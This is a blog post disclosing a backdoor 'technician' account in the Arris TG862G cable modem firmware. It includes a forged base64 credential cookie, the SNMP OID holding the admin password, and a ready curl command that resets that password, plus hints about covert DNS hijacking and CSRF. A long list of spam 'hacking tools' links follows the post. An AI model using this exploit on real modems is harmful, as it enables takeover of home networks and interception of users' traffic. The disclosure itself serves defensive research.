Sunday, June 4, 2023

Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -
Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.
Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9
 All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
And after base64 decoding the "credential" value we get:
{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9
Which decodes to the following:
{"credential":"dGVjaG5pY2lhbjo="}
And finally:
{"credential":"technician:"} 
Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(




That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:


That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:


Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);
Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}
What about setting a new value? Surely that will not work....



That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:


This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'
Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this bug backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.


More articles
  1. Hacker Tools List
  2. Pentest Tools Tcp Port Scanner
  3. Hacker Tools
  4. Hacking Tools Mac
  5. Hacking Tools Online
  6. Hack Tools For Mac
  7. Top Pentest Tools
  8. Game Hacking
  9. Underground Hacker Sites
  10. Hacker
  11. Install Pentest Tools Ubuntu
  12. Hacker Tools Software
  13. Pentest Tools For Mac
  14. Hack Tools
  15. Pentest Tools For Mac
  16. Tools For Hacker
  17. Pentest Tools Port Scanner
  18. Hack Tools Download
  19. Best Pentesting Tools 2018
  20. Hacking Tools Usb
  21. Hacking App
  22. Hack Tools Pc
  23. Pentest Tools For Windows
  24. Hacking Tools Usb
  25. Best Pentesting Tools 2018
  26. Pentest Tools Github
  27. Hack Tools For Pc
  28. Kik Hack Tools
  29. Hack Tools Online
  30. Pentest Tools For Ubuntu
  31. Tools For Hacker
  32. Hacker Tools Apk
  33. Hack Apps
  34. Tools For Hacker
  35. Hackers Toolbox
  36. Pentest Tools Website Vulnerability
  37. Hack Tools For Mac
  38. Hack Tools For Pc
  39. Hacker Tool Kit
  40. Termux Hacking Tools 2019
  41. Install Pentest Tools Ubuntu
  42. Hacking Tools Download
  43. Pentest Tools Framework
  44. Hack Tools
  45. Pentest Tools Url Fuzzer
  46. Best Hacking Tools 2019
  47. Github Hacking Tools
  48. Pentest Tools For Mac
  49. Pentest Tools List
  50. Hacking Apps
  51. Physical Pentest Tools
  52. Pentest Tools Url Fuzzer
  53. Hacking Tools Pc
  54. Pentest Tools List
  55. Hacking Tools
  56. Hack App
  57. Pentest Tools Review
  58. Hacking Tools Software
  59. World No 1 Hacker Software
  60. Hackrf Tools
  61. Termux Hacking Tools 2019
  62. Hacker Tools Apk
  63. Hacking Tools Name
  64. Hacking Tools For Windows Free Download
  65. Hacker
  66. Hacker Tools 2019
  67. Install Pentest Tools Ubuntu
  68. Hacker Tools Linux
  69. Hacker Tools
  70. What Are Hacking Tools
  71. Pentest Tools Download
  72. Pentest Tools Free
  73. Game Hacking
  74. Hackers Toolbox
  75. Hack Tools
  76. Hacker Tools For Windows
  77. Hack Tools For Windows
  78. Underground Hacker Sites
  79. Nsa Hacker Tools
  80. Hacker Tools Github
  81. Hack Tools Pc
  82. Hacking Tools Pc
  83. Computer Hacker
  84. Hacking Tools For Windows
  85. Hacking Tools Name
  86. Termux Hacking Tools 2019
  87. Black Hat Hacker Tools
  88. Hacker Tools Windows
  89. Growth Hacker Tools
  90. Best Hacking Tools 2019
  91. Hacking Tools Name
  92. Pentest Tools Port Scanner
  93. Hacker Tools Windows
  94. Hack Apps
  95. Hacking Tools Mac
  96. Bluetooth Hacking Tools Kali
  97. Hack Tools For Games
  98. Hacker Tools 2019
  99. Hack Tool Apk No Root
  100. Hack Tools Online

No comments:

Post a Comment